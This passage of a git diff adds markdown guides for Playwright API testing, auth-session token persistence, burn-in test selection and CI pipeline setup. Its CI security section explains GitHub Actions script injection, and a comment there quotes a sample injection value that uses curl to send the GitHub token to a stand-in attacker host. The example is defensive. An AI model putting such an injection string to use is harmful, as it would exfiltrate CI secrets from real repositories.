'GET', + path: '/api/orders', + params: { userId: testUser.id }, + }); + + expect(status).toBe(200); + expect(body.orders.length).toBeGreaterThanOrEqual(1); + expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true); + }); +}); +``` + +**Key Points**: + +- `beforeAll`/`afterAll` for test data setup/cleanup +- API-based seeding (no direct DB access needed) +- Unique emails to prevent conflicts in parallel runs +- Cleanup after all tests complete + +### Example 6: Background Job Testing with Recurse + +**Context**: Test async operations like background jobs, webhooks, and eventual consistency. + +**Implementation**: + +```typescript +// tests/api/background-jobs.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Background Jobs', () => { + test('should process export job', async ({ apiRequest, recurse }) => { + // Trigger export job + const { body: job } = await apiRequest({ + method: 'POST', + path: '/api/exports', + body: { + type: 'users', + format: 'csv', + filters: { createdAfter: '2024-01-01' }, + }, + }); + + expect(job.id).toBeDefined(); + expect(job.status).toBe('pending'); + + // Poll until job completes + const { body: completedJob } = await recurse( + () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }), + (response) => response.body.status === 'completed', + { + timeout: 60000, + interval: 2000, + log: `Waiting for export job ${job.id} to complete`, + }, + ); + + expect(completedJob.status).toBe('completed'); + expect(completedJob.downloadUrl).toBeDefined(); + expect(completedJob.recordCount).toBeGreaterThan(0); + }); + + test('should handle job failure gracefully', async ({ apiRequest, recurse }) => { + // Trigger job that will fail + const { body: job } = await apiRequest({ + method: 'POST', + path: '/api/exports', + body: { + type: 'invalid-type', // This will cause failure + format: 'csv', + }, + }); + + // Poll until job fails + const { body: failedJob } = await recurse( + () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }), + (response) => ['completed', 'failed'].includes(response.body.status), + { timeout: 30000 }, + ); + + expect(failedJob.status).toBe('failed'); + expect(failedJob.error).toBeDefined(); + expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE'); + }); + + test('should process webhook delivery', async ({ apiRequest, recurse }) => { + // Trigger action that sends webhook + const { body: order } = await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: 'user-123', + items: [{ productId: 'prod-1', quantity: 1 }], + webhookUrl: 'https://webhook.site/test-endpoint', + }, + }); + + // Poll for webhook delivery status + const { body: webhookStatus } = await recurse( + () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }), + (response) => response.body.delivered === true, + { timeout: 30000, interval: 1000 }, + ); + + expect(webhookStatus.delivered).toBe(true); + expect(webhookStatus.deliveredAt).toBeDefined(); + expect(webhookStatus.responseStatus).toBe(200); + }); +}); +``` + +**Key Points**: + +- `recurse` for polling async operations +- Test both success and failure scenarios +- Configurable timeout and interval +- Log messages for debugging + +### Example 7: Service Authentication (No Browser) + +**Context**: Test authenticated API endpoints using tokens directly - no browser login needed. + +**Implementation**: + +```typescript +// tests/api/authenticated.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Authenticated API Tests', () => { + let authToken: string; + + test.beforeAll(async ({ request }) => { + // Get token via API (no browser!) + const response = await request.post('/api/auth/login', { + data: { + email: process.env.TEST_USER_EMAIL, + password: process.env.TEST_USER_PASSWORD, + }, + }); + + const { token } = await response.json(); + authToken = token; + }); + + test('should access protected endpoint with token', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + headers: { + Authorization: `Bearer ${authToken}`, + }, + }); + + expect(status).toBe(200); + expect(body.email).toBe(process.env.TEST_USER_EMAIL); + }); + + test('should reject request without token', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + // No Authorization header + }); + + expect(status).toBe(401); + expect(body.code).toBe('UNAUTHORIZED'); + }); + + test('should reject expired token', async ({ apiRequest }) => { + const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token + + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + headers: { + Authorization: `Bearer ${expiredToken}`, + }, + }); + + expect(status).toBe(401); + expect(body.code).toBe('TOKEN_EXPIRED'); + }); + + test('should handle role-based access', async ({ apiRequest }) => { + // User token (non-admin) + const { status } = await apiRequest({ + method: 'GET', + path: '/api/admin/users', + headers: { + Authorization: `Bearer ${authToken}`, + }, + }); + + expect(status).toBe(403); // Forbidden for non-admin + }); +}); +``` + +**Key Points**: + +- Token obtained via API login (no browser) +- Token reused across all tests in describe block +- Test auth, expired tokens, and RBAC +- Pure API testing without UI + +### Example 8: Operation-Based API Testing (OpenAPI / Code Generators) + +**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters. + +**Implementation**: + +```typescript +// tests/api/operations.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test.describe('API Tests with Generated Operations', () => { + test('should create entity with full type safety', async ({ apiRequest }) => { + // Operation object from code generator — contains path, method, and type info + const { status, body } = await apiRequest({ + operation: createEntityOp({ workspaceId }), + headers: getHeaders(workspaceId), + body: entityInput, // Compile-time typed from operation.request + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); // body typed from operation.response + }); + + test('should list with typed query parameters', async ({ apiRequest }) => { + // query field replaces manual string concatenation + const { body } = await apiRequest({ + operation: listEntitiesOp({ workspaceId }), + headers: getHeaders(workspaceId), + query: { page: 0, page_size: 10, status: 'active' }, + }); + + expect(body.items).toHaveLength(10); + expect(body.total).toBeGreaterThan(10); + }); + + test('should poll async operation until complete', async ({ apiRequest, recurse }) => { + const { body: job } = await apiRequest({ + operation: startJobOp({ workspaceId }), + headers: getHeaders(workspaceId), + body: { type: 'export' }, + }); + + await recurse( + async () => + apiRequest({ + operation: getJobOp({ workspaceId, jobId: job.id }), + headers: getHeaders(workspaceId), + }), + (res) => res.body.status === 'completed', + { timeout: 60000, interval: 2000 }, + ); + }); +}); +``` + +**Key Points**: + +- `operation` replaces `method` + `path` — mutually exclusive at compile time +- Types for body, response, and query all inferred from the operation definition +- Works with any code generator using structural typing (no imports from playwright-utils needed in generator) +- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features +- Preferred approach over `typeof operation.response` for generated operations + +## API Test Configuration + +### Playwright Config for API-Only Tests + +```typescript +// playwright.config.ts +import { defineConfig } from '@playwright/test'; + +export default defineConfig({ + testDir: './tests/api', + + // No browser needed for API tests + use: { + baseURL: process.env.API_URL || 'http://localhost:3000', + extraHTTPHeaders: { + Accept: 'application/json', + 'Content-Type': 'application/json', + }, + }, + + // Faster without browser overhead + timeout: 30000, + + // Run API tests in parallel + workers: 4, + fullyParallel: true, + + // No screenshots/traces needed for API tests + reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]], +}); +``` + +### Separate API Test Project + +```typescript +// playwright.config.ts +export default defineConfig({ + projects: [ + { + name: 'api', + testDir: './tests/api', + use: { + baseURL: process.env.API_URL, + }, + }, + { + name: 'e2e', + testDir: './tests/e2e', + use: { + baseURL: process.env.APP_URL, + ...devices['Desktop Chrome'], + }, + }, + ], +}); +``` + +## Comparison: API Tests vs E2E Tests + +| Aspect | API Test | E2E Test | +| ------------------- | ---------------------- | --------------------------- | +| **Speed** | ~50-100ms per test | ~2-10s per test | +| **Stability** | Very stable | More flaky (UI timing) | +| **Setup** | Minimal | Browser, context, page | +| **Debugging** | Clear request/response | DOM, screenshots, traces | +| **Coverage** | Service logic | User experience | +| **Parallelization** | Easy (stateless) | Complex (browser resources) | +| **CI Cost** | Low (no browser) | High (browser containers) | + +## Related Fragments + +- `api-request.md` - apiRequest utility details +- `recurse.md` - Polling patterns for async operations +- `auth-session.md` - Token management +- `contract-testing.md` - Pact contract testing +- `test-levels-framework.md` - When to use which test level +- `data-factories.md` - Test data setup patterns + +## Anti-Patterns + +**DON'T use E2E for API validation:** + +```typescript +// Bad: Testing API through UI +test('validate user creation', async ({ page }) => { + await page.goto('/admin/users'); + await page.fill('#name', 'John'); + await page.click('#submit'); + await expect(page.getByText('User created')).toBeVisible(); +}); +``` + +**DO test APIs directly:** + +```typescript +// Good: Direct API test +test('validate user creation', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/users', + body: { name: 'John' }, + }); + expect(status).toBe(201); + expect(body.id).toBeDefined(); +}); +``` + +**DON'T ignore API tests because "E2E covers it":** + +```typescript +// Bad thinking: "Our E2E tests create users, so API is tested" +// Reality: E2E tests one happy path; API tests cover edge cases +``` + +**DO have dedicated API test coverage:** + +```typescript +// Good: Explicit API test suite +test.describe('Users API', () => { + test('creates user', async ({ apiRequest }) => { + /* ... */ + }); + test('handles duplicate email', async ({ apiRequest }) => { + /* ... */ + }); + test('validates required fields', async ({ apiRequest }) => { + /* ... */ + }); + test('handles malformed JSON', async ({ apiRequest }) => { + /* ... */ + }); + test('rate limits requests', async ({ apiRequest }) => { + /* ... */ + }); +}); +``` diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md new file mode 100644 index 0000000..905472f --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md @@ -0,0 +1,548 @@ +# Auth Session Utility + +## Principle + +Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.** + +## Rationale + +Playwright's built-in authentication works but has limitations: + +- Re-authenticates for every test run (slow) +- Single user per project setup +- No token expiration handling +- Manual session management +- Complex setup for multi-user scenarios + +The `auth-session` utility provides: + +- **Token persistence**: Authenticate once, reuse across runs +- **Multi-user support**: Different user identifiers in same test suite +- **Ephemeral auth**: On-the-fly user authentication without disk persistence +- **Worker-specific accounts**: Parallel execution with isolated user accounts +- **Automatic token management**: Checks validity, renews if expired +- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom) +- **API-first design**: Get tokens for API tests without browser overhead + +## Pattern Examples + +### Example 1: Basic Auth Session Setup + +**Context**: Configure global authentication that persists across test runs. + +**Implementation**: + +```typescript +// Step 1: Configure in global-setup.ts +import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session'; +import myCustomProvider from './auth/custom-auth-provider'; + +async function globalSetup() { + // Ensure storage directories exist + authStorageInit(); + + // Configure storage path + configureAuthSession({ + authStoragePath: process.cwd() + '/playwright/auth-sessions', + debug: true, + }); + + // Set custom provider (HOW to authenticate) + setAuthProvider(myCustomProvider); + + // Optional: pre-fetch token for default user + await authGlobalInit(); +} + +export default globalSetup; + +// Step 2: Create auth fixture +import { test as base } from '@playwright/test'; +import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session'; +import myCustomProvider from './custom-auth-provider'; + +// Register provider early +setAuthProvider(myCustomProvider); + +export const test = base.extend(createAuthFixtures()); + +// Step 3: Use in tests +test('authenticated request', async ({ authToken, request }) => { + const response = await request.get('/api/protected', { + headers: { Authorization: `Bearer ${authToken}` }, + }); + + expect(response.ok()).toBeTruthy(); +}); +``` + +**Key Points**: + +- Global setup runs once before all tests +- Token fetched once, reused across all tests +- Custom provider defines your auth mechanism +- Order matters: configure, then setProvider, then init + +### Example 2: Multi-User Authentication + +**Context**: Testing with different user roles (admin, regular user, guest) in same test suite. + +**Implementation**: + +```typescript +import { test } from '../support/auth/auth-fixture'; + +// Option 1: Per-test user override +test('admin actions', async ({ authToken, authOptions }) => { + // Override default user + authOptions.userIdentifier = 'admin'; + + const { authToken: adminToken } = await test.step('Get admin token', async () => { + return { authToken }; // Re-fetches with new identifier + }); + + // Use admin token + const response = await request.get('/api/admin/users', { + headers: { Authorization: `Bearer ${adminToken}` }, + }); +}); + +// Option 2: Parallel execution with different users +test.describe.parallel('multi-user tests', () => { + test('user 1 actions', async ({ authToken }) => { + // Uses default user (e.g., 'user1') + }); + + test('user 2 actions', async ({ authToken, authOptions }) => { + authOptions.userIdentifier = 'user2'; + // Uses different token for user2 + }); +}); +``` + +**Key Points**: + +- Override `authOptions.userIdentifier` per test +- Tokens cached separately per user identifier +- Parallel tests isolated with different users +- Worker-specific accounts possible + +### Example 3: Ephemeral User Authentication + +**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow). + +**Implementation**: + +```typescript +import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session'; +import { createTestUser } from '../utils/user-factory'; + +test('ephemeral user test', async ({ context, page }) => { + // Create temporary user (not persisted) + const ephemeralUser = await createTestUser({ + role: 'admin', + permissions: ['delete-users'], + }); + + // Apply auth directly to browser context + await applyUserCookiesToBrowserContext(context, ephemeralUser); + + // Page now authenticated as ephemeral user + await page.goto('/admin/users'); + + await expect(page.getByTestId('delete-user-btn')).toBeVisible(); + + // User and token cleaned up after test +}); +``` + +**Key Points**: + +- No disk persistence (ephemeral) +- Apply cookies directly to context +- Useful for testing user lifecycle +- Clean up automatic when test ends + +### Example 4: Testing Multiple Users in Single Test + +**Context**: Testing interactions between users (messaging, sharing, collaboration features). + +**Implementation**: + +```typescript +test('user interaction', async ({ browser }) => { + // User 1 context + const user1Context = await browser.newContext({ + storageState: './auth-sessions/local/user1/storage-state.json', + }); + const user1Page = await user1Context.newPage(); + + // User 2 context + const user2Context = await browser.newContext({ + storageState: './auth-sessions/local/user2/storage-state.json', + }); + const user2Page = await user2Context.newPage(); + + // User 1 sends message + await user1Page.goto('/messages'); + await user1Page.fill('#message', 'Hello from user 1'); + await user1Page.click('#send'); + + // User 2 receives message + await user2Page.goto('/messages'); + await expect(user2Page.getByText('Hello from user 1')).toBeVisible(); + + // Cleanup + await user1Context.close(); + await user2Context.close(); +}); +``` + +**Key Points**: + +- Each user has separate browser context +- Reference storage state files directly +- Test real-time interactions +- Clean up contexts after test + +### Example 5: Worker-Specific Accounts (Parallel Testing) + +**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts. + +**Implementation**: + +```typescript +// playwright.config.ts +export default defineConfig({ + workers: 4, // 4 parallel workers + use: { + // Each worker uses different user + storageState: async ({}, use, testInfo) => { + const workerIndex = testInfo.workerIndex; + const userIdentifier = `worker-${workerIndex}`; + + await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`); + }, + }, +}); + +// Tests run in parallel, each worker with its own user +test('parallel test 1', async ({ page }) => { + // Worker 0 uses worker-0 account + await page.goto('/dashboard'); +}); + +test('parallel test 2', async ({ page }) => { + // Worker 1 uses worker-1 account + await page.goto('/dashboard'); +}); +``` + +**Key Points**: + +- Each worker has isolated user account +- No conflicts in parallel execution +- Token management automatic per worker +- Scales to any number of workers + +### Example 6: Pure API Authentication (No Browser) + +**Context**: Get auth tokens for API-only tests using auth-session disk persistence. + +**Implementation**: + +```typescript +// Step 1: Create API-only auth provider (no browser needed) +// playwright/support/api-auth-provider.ts +import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session'; + +const apiAuthProvider: AuthProvider = { + getEnvironment: (options) => options.environment || 'local', + getUserIdentifier: (options) => options.userIdentifier || 'api-user', + + extractToken: (storageState) => { + // Token stored in localStorage format for disk persistence + const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token'); + return tokenEntry?.value; + }, + + isTokenExpired: (storageState) => { + const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry'); + if (!expiryEntry) return true; + return Date.now() > parseInt(expiryEntry.value, 10); + }, + + manageAuthToken: async (request, options) => { + const email = process.env.TEST_USER_EMAIL; + const password = process.env.TEST_USER_PASSWORD; + + if (!email || !password) { + throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set'); + } + + // Pure API login - no browser! + const response = await request.post('/api/auth/login', { + data: { email, password }, + }); + + if (!response.ok()) { + throw new Error(`Auth failed: ${response.status()}`); + } + + const { token, expiresIn } = await response.json(); + const expiryTime = Date.now() + expiresIn * 1000; + + // Return storage state format for disk persistence + return { + cookies: [], + origins: [ + { + origin: process.env.API_BASE_URL || 'http://localhost:3000', + localStorage: [ + { name: 'auth_token', value: token }, + { name: 'token_expiry', value: String(expiryTime) }, + ], + }, + ], + }; + }, +}; + +export default apiAuthProvider; + +// Step 2: Create auth fixture +// playwright/support/fixtures.ts +import { test as base } from '@playwright/test'; +import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session'; +import apiAuthProvider from './api-auth-provider'; + +setAuthProvider(apiAuthProvider); + +export const test = base.extend(createAuthFixtures()); + +// Step 3: Use in tests - token persisted to disk! +// tests/api/authenticated-api.spec.ts +import { test } from '../support/fixtures'; +import { expect } from '@playwright/test'; + +test('should access protected endpoint', async ({ authToken, apiRequest }) => { + // authToken is automatically loaded from disk or fetched if expired + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + headers: { Authorization: `Bearer ${authToken}` }, + }); + + expect(status).toBe(200); +}); + +test('should create resource with auth', async ({ authToken, apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + headers: { Authorization: `Bearer ${authToken}` }, + body: { items: [{ productId: 'prod-1', quantity: 2 }] }, + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); +}); +``` + +**Key Points**: + +- Token persisted to disk (not in-memory) - survives test reruns +- Provider fetches token once, reuses until expired +- Pure API authentication - no browser context needed +- `authToken` fixture handles disk read/write automatically +- Environment variables validated with clear error message + +### Example 7: Service-to-Service Authentication + +**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation. + +**Implementation**: + +```typescript +// tests/api/service-auth.spec.ts +import { test as base, expect } from '@playwright/test'; +import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures'; +import { mergeTests } from '@playwright/test'; + +// Validate environment variables at module load +const SERVICE_API_KEY = process.env.SERVICE_API_KEY; +const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL; + +if (!SERVICE_API_KEY) { + throw new Error('SERVICE_API_KEY environment variable is required'); +} +if (!INTERNAL_SERVICE_URL) { + throw new Error('INTERNAL_SERVICE_URL environment variable is required'); +} + +const test = mergeTests(base, apiFixture); + +test.describe('Service-to-Service Auth', () => { + test('should authenticate with API key', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/internal/health', + baseUrl: INTERNAL_SERVICE_URL, + headers: { 'X-API-Key': SERVICE_API_KEY }, + }); + + expect(status).toBe(200); + expect(body.status).toBe('healthy'); + }); + + test('should reject invalid API key', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/internal/health', + baseUrl: INTERNAL_SERVICE_URL, + headers: { 'X-API-Key': 'invalid-key' }, + }); + + expect(status).toBe(401); + expect(body.code).toBe('INVALID_API_KEY'); + }); + + test('should call downstream service with propagated auth', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/internal/aggregate-data', + baseUrl: INTERNAL_SERVICE_URL, + headers: { + 'X-API-Key': SERVICE_API_KEY, + 'X-Request-ID': `test-${Date.now()}`, + }, + body: { sources: ['users', 'orders', 'inventory'] }, + }); + + expect(status).toBe(200); + expect(body.aggregatedFrom).toHaveLength(3); + }); +}); +``` + +**Key Points**: + +- Environment variables validated at module load with clear errors +- API key authentication (simpler than OAuth - no disk persistence needed) +- Test internal/service endpoints +- Validate auth rejection scenarios +- Correlation ID for request tracing + +> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6. + +## Custom Auth Provider Pattern + +**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom). + +**Minimal provider structure**: + +```typescript +import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session'; + +const myCustomProvider: AuthProvider = { + getEnvironment: (options) => options.environment || 'local', + + getUserIdentifier: (options) => options.userIdentifier || 'default-user', + + extractToken: (storageState) => { + // Extract token from your storage format + return storageState.cookies.find((c) => c.name === 'auth_token')?.value; + }, + + extractCookies: (tokenData) => { + // Convert token to cookies for browser context + return [ + { + name: 'auth_token', + value: tokenData, + domain: 'example.com', + path: '/', + httpOnly: true, + secure: true, + }, + ]; + }, + + isTokenExpired: (storageState) => { + // Check if token is expired + const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at'); + return Date.now() > parseInt(expiresAt?.value || '0'); + }, + + manageAuthToken: async (request, options) => { + // Main token acquisition logic + // Return storage state with cookies/localStorage + }, +}; + +export default myCustomProvider; +``` + +## Integration with API Request + +```typescript +import { test } from '@seontechnologies/playwright-utils/fixtures'; + +test('authenticated API call', async ({ apiRequest, authToken }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/protected', + headers: { Authorization: `Bearer ${authToken}` }, + }); + + expect(status).toBe(200); +}); +``` + +## Related Fragments + +- `api-testing-patterns.md` - Pure API testing patterns (no browser) +- `overview.md` - Installation and fixture composition +- `api-request.md` - Authenticated API requests +- `fixtures-composition.md` - Merging auth with other utilities + +## Anti-Patterns + +**❌ Calling setAuthProvider after globalSetup:** + +```typescript +async function globalSetup() { + configureAuthSession(...) + await authGlobalInit() // Provider not set yet! + setAuthProvider(provider) // Too late +} +``` + +**✅ Register provider before init:** + +```typescript +async function globalSetup() { + authStorageInit() + configureAuthSession(...) + setAuthProvider(provider) // First + await authGlobalInit() // Then init +} +``` + +**❌ Hardcoding storage paths:** + +```typescript +const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle +``` + +**✅ Use helper functions:** + +```typescript +import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session'; + +const tokenPath = getTokenFilePath({ + environment: 'local', + userIdentifier: 'user1', + tokenFileName: 'storage-state.json', +}); +``` diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md new file mode 100644 index 0000000..d8b9f9e --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md @@ -0,0 +1,273 @@ +# Burn-in Test Runner + +## Principle + +Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability. + +## Rationale + +Playwright's `--only-changed` triggers all affected tests: + +- Config file changes trigger hundreds of tests +- Type definition changes cause full suite runs +- No volume control (all or nothing) +- Slow CI pipelines + +The `burn-in` utility provides: + +- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs) +- **Volume control**: Run percentage of affected tests after filtering +- **Custom dependency analysis**: More accurate than Playwright's built-in +- **CI optimization**: Faster pipelines without sacrificing confidence +- **Process of elimination**: Start with all → filter irrelevant → control volume + +## Pattern Examples + +### Example 1: Basic Burn-in Setup + +**Context**: Run burn-in on changed files compared to main branch. + +**Implementation**: + +```typescript +// Step 1: Create burn-in script +// playwright/scripts/burn-in-changed.ts +import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in' + +async function main() { + await runBurnIn({ + configPath: 'playwright/config/.burn-in.config.ts', + baseBranch: 'main' + }) +} + +main().catch(console.error) + +// Step 2: Create config +// playwright/config/.burn-in.config.ts +import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in' + +const config: BurnInConfig = { + // Files that never trigger tests (first filter) + skipBurnInPatterns: [ + '**/config/**', + '**/*constants*', + '**/*types*', + '**/*.md', + '**/README*' + ], + + // Run 30% of remaining tests after skip filter + burnInTestPercentage: 0.3, + + // Burn-in repetition + burnIn: { + repeatEach: 3, // Run each test 3 times + retries: 1 // Allow 1 retry + } +} + +export default config + +// Step 3: Add package.json script +{ + "scripts": { + "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts" + } +} +``` + +**Key Points**: + +- Two-stage filtering: skip patterns, then volume control +- `skipBurnInPatterns` eliminates irrelevant files +- `burnInTestPercentage` controls test volume (0.3 = 30%) +- Custom dependency analysis finds actually affected tests + +### Example 2: CI Integration + +**Context**: Use burn-in in GitHub Actions for efficient CI runs. + +**Implementation**: + +```yaml +# .github/workflows/burn-in.yml +name: Burn-in Changed Tests + +on: + pull_request: + branches: [main] + +jobs: + burn-in: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # Need git history + + - name: Setup Node + uses: actions/setup-node@v4 + + - name: Install dependencies + run: npm ci + + - name: Run burn-in on changed tests + run: npm run test:pw:burn-in-changed -- --base-branch=origin/main + + - name: Upload artifacts + if: failure() + uses: actions/upload-artifact@v4 + with: + name: burn-in-failures + path: test-results/ +``` + +**Key Points**: + +- `fetch-depth: 0` for full git history +- Pass `--base-branch=origin/main` for PR comparison +- Upload artifacts only on failure +- Significantly faster than full suite + +### Example 3: How It Works (Process of Elimination) + +**Context**: Understanding the filtering pipeline. + +**Scenario:** + +``` +Git diff finds: 21 changed files +├─ Step 1: Skip patterns filter +│ Removed: 6 files (*.md, config/*, *types*) +│ Remaining: 15 files +│ +├─ Step 2: Dependency analysis +│ Tests that import these 15 files: 45 tests +│ +└─ Step 3: Volume control (30%) + Final tests to run: 14 tests (30% of 45) + +Result: Run 14 targeted tests instead of 147 with --only-changed! +``` + +**Key Points**: + +- Three-stage pipeline: skip → analyze → control +- Custom dependency analysis (not just imports) +- Percentage applies AFTER filtering +- Dramatically reduces CI time + +### Example 4: Environment-Specific Configuration + +**Context**: Different settings for local vs CI environments. + +**Implementation**: + +```typescript +import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'; + +const config: BurnInConfig = { + skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'], + + // CI runs fewer iterations, local runs more + burnInTestPercentage: process.env.CI ? 0.2 : 0.3, + + burnIn: { + repeatEach: process.env.CI ? 2 : 3, + retries: process.env.CI ? 0 : 1, // No retries in CI + }, +}; + +export default config; +``` + +**Key Points**: + +- `process.env.CI` for environment detection +- Lower percentage in CI (20% vs 30%) +- Fewer iterations in CI (2 vs 3) +- No retries in CI (fail fast) + +### Example 5: Sharding Support + +**Context**: Distribute burn-in tests across multiple CI workers. + +**Implementation**: + +```typescript +// burn-in-changed.ts with sharding +import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'; + +async function main() { + const shardArg = process.argv.find((arg) => arg.startsWith('--shard=')); + + if (shardArg) { + process.env.PW_SHARD = shardArg.split('=')[1]; + } + + await runBurnIn({ + configPath: 'playwright/config/.burn-in.config.ts', + }); +} +``` + +```yaml +# GitHub Actions with sharding +jobs: + burn-in: + strategy: + matrix: + shard: [1/3, 2/3, 3/3] + steps: + - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }} +``` + +**Key Points**: + +- Pass `--shard=1/3` for parallel execution +- Burn-in respects Playwright sharding +- Distribute across multiple workers +- Reduces total CI time further + +## Integration with CI Workflow + +When setting up CI with `*ci` workflow, recommend burn-in for: + +- Pull request validation +- Pre-merge checks +- Nightly builds (subset runs) + +## Related Fragments + +- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops) +- `selective-testing.md` - Test selection strategies +- `overview.md` - Installation + +## Anti-Patterns + +**❌ Over-aggressive skip patterns:** + +```typescript +skipBurnInPatterns: [ + '**/*', // Skips everything! +]; +``` + +**✅ Targeted skip patterns:** + +```typescript +skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*']; +``` + +**❌ Too low percentage (false confidence):** + +```typescript +burnInTestPercentage: 0.05; // Only 5% - might miss issues +``` + +**✅ Balanced percentage:** + +```typescript +burnInTestPercentage: 0.2; // 20% in CI, provides good coverage +``` diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md new file mode 100644 index 0000000..a092987 --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md @@ -0,0 +1,717 @@ +# CI Pipeline and Burn-In Strategy + +## Principle + +CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence. + +## Rationale + +CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness. + +## Security: Script Injection Prevention + +**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted). + +When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection. + +### Vulnerable vs Safe Pattern + +```yaml +# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)" +- name: Run tests + run: | + npx playwright test --grep "${{ inputs.test_ids }}" + +# ✅ SAFE — env var cannot break out of shell quoting +- name: Run tests + env: + TEST_IDS: ${{ inputs.test_ids }} + run: | + npx playwright test --grep "$TEST_IDS" +``` + +### Unsafe Contexts (require env: intermediary) + +- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs +- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.) +- `${{ github.head_ref }}` — PR source branch name (user-controlled) + +**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass 